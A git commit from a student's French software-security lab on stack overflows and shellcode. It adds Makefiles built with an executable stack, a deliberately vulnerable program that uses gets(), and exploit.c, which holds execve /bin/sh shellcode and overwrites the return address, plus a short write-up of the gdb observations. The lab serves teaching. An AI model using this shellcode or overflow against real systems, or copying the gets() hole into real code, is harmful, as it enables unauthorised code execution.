First part of TD5
This commit is contained in:
parent
eceb4717df
commit
33f23e8538
9 changed files with 204 additions and 0 deletions
|
@ -0,0 +1,34 @@
|
|||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
|
||||
SRC = $(wildcard *.c)
|
||||
TGT = $(subst .c,,$(SRC))
|
||||
BUILD_DIR = build
|
||||
DUMP_DIR = dump
|
||||
|
||||
|
||||
pframe:
|
||||
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
|
||||
tar -xf pframe.tgz &&\
|
||||
rm -rf pframe.tgz
|
||||
|
||||
.gdbinit:
|
||||
|
||||
configure: pframe .gdbinit
|
||||
$(shell echo "python import pframe" > .gdbinit)
|
||||
|
||||
$(BUILD_DIR)/%: %.c
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
build: $(addprefix $(BUILD_DIR)/, $(TGT)))
|
||||
|
||||
|
||||
PHONY: %
|
||||
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
|
||||
gdb $< --command=$(subst gdb_,,$@).gdb
|
||||
|
||||
|
||||
PHONY: clean
|
||||
clean:
|
||||
@rm -rf $(BUILD_DIR) pframe .gdbinit
|
BIN
content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic
Executable file
BIN
content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic
Executable file
Binary file not shown.
|
@ -0,0 +1,14 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define N 11
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
long t[N];
|
||||
long i;
|
||||
|
||||
for (i = 0; i <= N; i++)
|
||||
t[i] = 0;
|
||||
|
||||
return t[0];
|
||||
}
|
|
@ -0,0 +1,2 @@
|
|||
b main
|
||||
r
|
|
@ -0,0 +1,35 @@
|
|||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
|
||||
SRC = $(wildcard *.c)
|
||||
TGT = $(subst .c,,$(SRC))
|
||||
BUILD_DIR = build
|
||||
DUMP_DIR = dump
|
||||
|
||||
|
||||
pframe:
|
||||
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
|
||||
tar -xf pframe.tgz &&\
|
||||
rm -rf pframe.tgz
|
||||
|
||||
.gdbinit:
|
||||
|
||||
configure: pframe .gdbinit
|
||||
$(shell echo "python import pframe" > .gdbinit)
|
||||
|
||||
$(BUILD_DIR)/%: %.c
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
build: $(addprefix $(BUILD_DIR)/, $(TGT)))
|
||||
|
||||
|
||||
PHONY: gdb
|
||||
gdb: build/exploit build/anodin configure
|
||||
./$(BUILD_DIR)/exploit > hack.txt &
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
|
||||
setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb
|
||||
rm hack.txt
|
||||
|
||||
PHONY: clean
|
||||
clean:
|
||||
@rm -rf $(BUILD_DIR) pframe .gdbinit
|
|
@ -0,0 +1,23 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
int litentier(void) {
|
||||
unsigned char buf[64];
|
||||
int i;
|
||||
printf("%p\n", buf);
|
||||
printf("> ");
|
||||
fflush(stdout);
|
||||
gets(buf);
|
||||
i=atoi(buf);
|
||||
return i;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
while (1) {
|
||||
int i;
|
||||
i = litentier();
|
||||
printf("ok %d\n", i);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,2 @@
|
|||
b litentier
|
||||
r < hack.txt
|
|
@ -0,0 +1,62 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
unsigned char exploit[1024] = {
|
||||
0x90, 0x90, 0x90, 0x90, // A few nops for some margin
|
||||
0x90, 0x90, 0x90, 0x90,
|
||||
0x90, 0x90, 0x90, 0x90,
|
||||
0x90, 0x90, 0x90, 0x90,
|
||||
|
||||
#ifdef __x86_64__
|
||||
/* 64 bit version */
|
||||
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
|
||||
'/','b','i','n','/','s','h','\0',
|
||||
0x5f, // pop the address
|
||||
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call
|
||||
0x6a, 0x00, // push NULL at the end of the array
|
||||
0x48, 0x89, 0xe2, // envp
|
||||
0x57, // push adress
|
||||
0x48, 0x89, 0xe6, // argv
|
||||
0x0f, 0x05, // system call!
|
||||
#else
|
||||
/* 32 bit version */
|
||||
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
|
||||
'/','b','i','n','/','s','h','\0',
|
||||
0x5b, // pop the adress
|
||||
0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call
|
||||
0x6a, 0x00, // push NULL at the end of the array
|
||||
0x89, 0xe2, // envp
|
||||
0x53, // push adress
|
||||
0x89, 0xe1, // argv
|
||||
0xcd, 0x80, // system call!
|
||||
#endif
|
||||
};
|
||||
|
||||
int main(void) {
|
||||
int i;
|
||||
void **exploit_ptr = (void*) &exploit;
|
||||
void *ptr;
|
||||
|
||||
fprintf(stderr,"Type the buf address printed by anodin\n");
|
||||
scanf("%p", &ptr);
|
||||
|
||||
// Un peu de marge
|
||||
ptr += 8;
|
||||
|
||||
// écraser l'adresse de retour
|
||||
for (i = 0; i < 8; i++)
|
||||
exploit_ptr[64/sizeof(void*)+i] = ptr;
|
||||
|
||||
for (i=0;i<sizeof(exploit);i++)
|
||||
putchar(exploit[i]);
|
||||
|
||||
for (i=0;i<8192;i++)
|
||||
putchar('\n');
|
||||
|
||||
printf("touch /tmp/ahah\n");
|
||||
printf("echo \"I created file\" /tmp/ahah \\!\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
||||
}
|
32
content/secu_logicielle/td5-stackoverflow_shellcode/index.md
Normal file
32
content/secu_logicielle/td5-stackoverflow_shellcode/index.md
Normal file
|
@ -0,0 +1,32 @@
|
|||
---
|
||||
title: "Sécurité logicielle : TD 5 stack overflow et shellcode"
|
||||
date: 2023-02-10
|
||||
tags: ["Assembleur", "x86"]
|
||||
categories: ["Sécurité logicielle", "TD"]
|
||||
---
|
||||
|
||||
## Partie 1
|
||||
|
||||
Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
|
||||
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
|
||||
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
|
||||
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
|
||||
variables associées.
|
||||
|
||||
## Partie 2
|
||||
|
||||
### question 1 et 2
|
||||
|
||||
Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
|
||||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||||
*hexadécimal*.
|
||||
|
||||
### question 4
|
||||
|
||||
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
|
||||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||||
adresses vers notre *shellcode*, les paffing avec des `nop` et le *shellcode*.
|
||||
|
||||
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
|
||||
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
|
||||
mettent alors en places.
|
Loading…
Add table
Add a link
Reference in a new issue